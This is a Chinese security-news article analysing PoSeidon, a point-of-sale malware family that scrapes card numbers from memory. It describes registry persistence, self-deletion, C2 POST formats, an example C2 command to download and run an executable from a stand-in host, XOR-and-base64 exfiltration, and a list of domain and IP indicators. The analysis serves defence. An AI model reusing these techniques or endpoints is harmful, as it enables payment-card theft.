freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据库安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课
FreeBuf+小程序

FreeBuf+小程序

官方公众号企业安全新浪微博

国内领先的互联网安全新媒体,同时也是爱好者们交流与分享安全技术的社区

迄今为止最为复杂的PoS系统恶意软件PoSeidon
2015-03-24 05:12:52

思科安全解决方案(CSS)的研究人员们最近发现了一款新的针对PoS系统的恶意软件PoSeidon,这款恶意软件极为复杂,被称为是迄今为止最为复杂的PoS恶意软件。

当顾客在零售店购买商品时可能会用到PoS系统。使用信用卡或者借记卡,PoS系统就会读取信用卡背面磁条上储存的信息。一旦信息从商家处被窃取,它就能被编码进磁条,从而做出一张新卡。黑市会有卖这种信息,因为攻击者能够轻易地将窃取到的信用卡数据变现。涉及PoS恶意软件的事件数量一直在上升,影响了那些大公司,也影响了那些夫妻作坊式的小店,还吸引了很多媒体的关注。正是因为存在大量金融和个人信息,这些公司和PoS系统会一直成为对攻击者们极富吸引力的目标。

概况

今天要介绍的是一款新的针对PoS系统的恶意软件,这款软件会在PoS内存中寻找信用卡信息,并将这些信息发送到服务器,服务器使用了.ru顶级域名,这些信息可能会被重新卖出去。这个新的恶意软件家族(我们取名为PoSeidon)中有些组件,如下图所示:

首先它会加载Loader,它会试图留存在目标系统中,防止系统重启。Loader之后会联系命令与控制(command and control)服务器,接收一个包含另一个程序的URL,并下载执行。下载下来的程序是FindStr,它会安装一个键盘记录器,并且在PoS设备中扫描数字序列,这些数字序列就有可能是信用卡号码。如果经过验证,这些数字确实是信用卡号码,键盘记录和信用卡号码就会被编码并发送到一个服务器。

技术细节

键盘记录器

这个文件的SHA256校验值是334079dc9fa5b06fbd68e81de903fcd4e356b4f2d0e8bbd6bdca7891786c39d4,可能是PoS系统攻击的源头。我们把这个文件叫做键盘记录器(KeyLogger)是基于它的调试信息:

一旦被执行,这个文件就会把自身复制到%SystemRoot%\system32\<filename>.exe或者是%UserProfile%\<filename>.exe,并在HKLM(或者HKCU)\Software\Microsoft\Windows\CurrentVersion\Run处加入注册表项。

这个文件还会打开HKCU\Software\ LogMeIn Ignition,打开并删除PasswordTicket键值,获取Email键值,它还会删除注册表目录树HKCU\Software\LogMeInIgnition\<key>\Profiles\*

文件会使用POST方法把数据发送到下列URI中的一个地址:

wondertechmy[.]com/pes/viewtopic.php
wondertechmy[.]ru/pes/viewtopic.php
wondwondnew[.]ru/pes/viewtopic.php

URI格式是

uid=%I64u&win=%d.%d&vers=%s

键盘记录器组件是用来窃取密码的,也有可能是感染机器的初始途径。

Loader

我们把这个文件叫做loader是基于它的调试信息:

一经运行,Loader会检查它是不是以以下两个文件名执行的:

WinHost.exe
WinHost32.exe

如果不是,它就会确保没有以WinHost名字正在运行的Windows服务。Loader会将自身复制到%SystemRoot%\System32\WinHost.exe,覆盖掉那里任何可能以相同名字命名的文件。接下来,Loader会启动一个名为WinHost的服务。

之所以要这么做是因为即使当前用户注销,它也要留在内存中。如果Loader不能将自己变成服务,它就会把在内存中的自己的其他实例终止掉。然后将自身复制到%UserProfile%\WinHost32.exe,并且安装注册表键HKCU\Microsoft\Windows\CurrentVersion\Run\\WinHost32。最后,它会创建一个新进程执行%UserProfile%\WinHost32.exe

既然现在它可以一直留在系统中了,Loader就会执行下面的命令将自己删除:

cmd.exe /c del <path_to_itself> >> NUL

在内存中运行的Loader会尝试读取%SystemRoot%\System32\WinHost.exe.cfg这里的配置文件。这份文件中有一个URL列表,这些URL列表是要被加到已经被硬编码到Loader的URL列表里的。

然后Loader会联系其中某个被硬编码的C&C服务器:

linturefa.com
xablopefgr.com
tabidzuwek.com
lacdileftre.ru
tabidzuwek.com
xablopefgr.com
lacdileftre.ru
weksrubaz.ru
linturefa.ru
mifastubiv.ru
xablopefgr.ru
tabidzuwek.ru

对应的IP地址:

151.236.11.167
185.13.32.132
185.13.32.48
REDACTED at request of Federal Law Enforcement
31.184.192.196
91.220.131.116
91.220.131.87

如果上面的某个域名解析到了某个IP地址,程序就会发送HTTP POST请求,请求使用下面的user-agent字串:

Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729;.NET CLR 3.0.30729; Media Center PC 6.0)

POST数据会被发送到:

<IP ADDRESS>/ldl01/viewtopic.php
<IP ADDRESS>/pes2/viewtopic.php

POST数据格式为:

uid=%I64u&uinfo=%s&win=%d.%d&bits=%d&vers=%s&build=%s

Loader应从C&C服务器获取这样的回应:

{<命令字符(CommandLetter)>:<参数(ArgumentString)>}

示例:

{R:http://badguy.com/malwarefilename.exe}
{b:pes13n|373973303|https://01.220.131.116/ldl01/files/pes13n.exe}

获取和执行了服务器响应中的可执行文件,PoSeidon的第二部分登场了。

FindStr

我们把这个文件叫做FindStr是基于它的调试信息:

这个文件会在系统中安装一个很小的键盘记录器,这个键盘记录器和这里的描述极为相似。这个键盘记录器截获的数据稍后会被发送至服务器。

这个恶意软件会在内存中寻找特定的数字序列:

以6, 5, 4开头的16位数字 (Discover, Visa, Mastercard信用卡)
以3开头的15位数字(AMEX信用卡)

然后它会使用Luhn算法验证这些数字是不是真的信用卡或借记卡号码,代码片段如下:

接下来,它会尝试解析下面的这些域名,其中有些域名是很有名的数据窃取服务器:

quartlet.com
horticartf.com
kilaxuntf.ru
dreplicag.ru
fimzusoln.ru
wetguqan.ru

如果上面的某个域名解析到了某个IP地址,程序就会发送HTTP POST请求,请求使用下面的user-agent字串:

Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729;.NET CLR 3.0.30729; Media Center PC 6.0)

POST数据会被发送到:

<IPADDRESS>/pes13/viewtopic.php

数据格式为:

oprat=2&uid=%I64u&uinfo=%s&win=%d.%d&vers=%s

可选的POST数据(data:信用卡号码,logs:键盘记录数据)

&data=<与0x2A 进行了XOR运算,然后再base64编码的数据>
&logs=<与0x2A进行了XOR运算,然后再base64编码的数据>

发送到服务器上的信用卡号码和键盘记录器的数据都是经过XOR运算并且用base64编码了的。

服务器的回应应该是:

这个机制可以让恶意软件根据从服务器收到的指令进行自我更新。

Loader vs FindStr

使用Bindiff对未打包的Loader(版本11.4  )和未打包的FindStr(版本7.1)进行对比,结果显示62%的函数相同。恶意软件背后的攻击者可能开发了某些核心函数,并将它们编译进库,然后他们开发的其他项目可以直接使用这些函数了。

IOC

点击查看终端IOC版本

Win.Trojan.PoSeidon.RegistryItem.ioc
Win.Trojan.PoSeidon.ProcessItem.ioc
Win.Trojan.PoSeidon.FileItem.ioc

域名

linturefa.com
xablopefgr.com
tabidzuwek.com
linturefa.ru
xablopefgr.ru
tabidzuwek.ru
weksrubaz.ru
mifastubiv.ru
lacdileftre.ru
quartlet.com
horticartf.com
kilaxuntf.ru
dreplicag.ru
fimzusoln.ru
wetguqan.ru

IP地址:

151.236.11.167
185.13.32.132
185.13.32.48
REDACTED at request of Federal Law Enforcement
31.184.192.196
91.220.131.116
91.220.131.87
REDACTED at request of Federal Law Enforcement

结论

PoSeidon是又一个针对PoS系统的恶意软件,它显示出其作者的高超技术。攻击者会继续针对PoS系统进行攻击,并且使用各种混淆手段逃避检测。只要PoS攻击能够提供回报,攻击者们就会继续研发新的恶意软件。网络管理员们应该要保持警惕,并且使用最佳解决方案保证免受这些恶意软件的攻击。

[参考来源Cisco Blogs,译/Sphinx,文章有修改,转载请注明来自Freebuf黑客与极客(FreeBuf.COM)]

本文作者:, 转载请注明来自FreeBuf.COM

# 恶意软件 # POS # PoSeidon
被以下专栏收录,发现更多精彩内容
+ 收入我的专栏
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦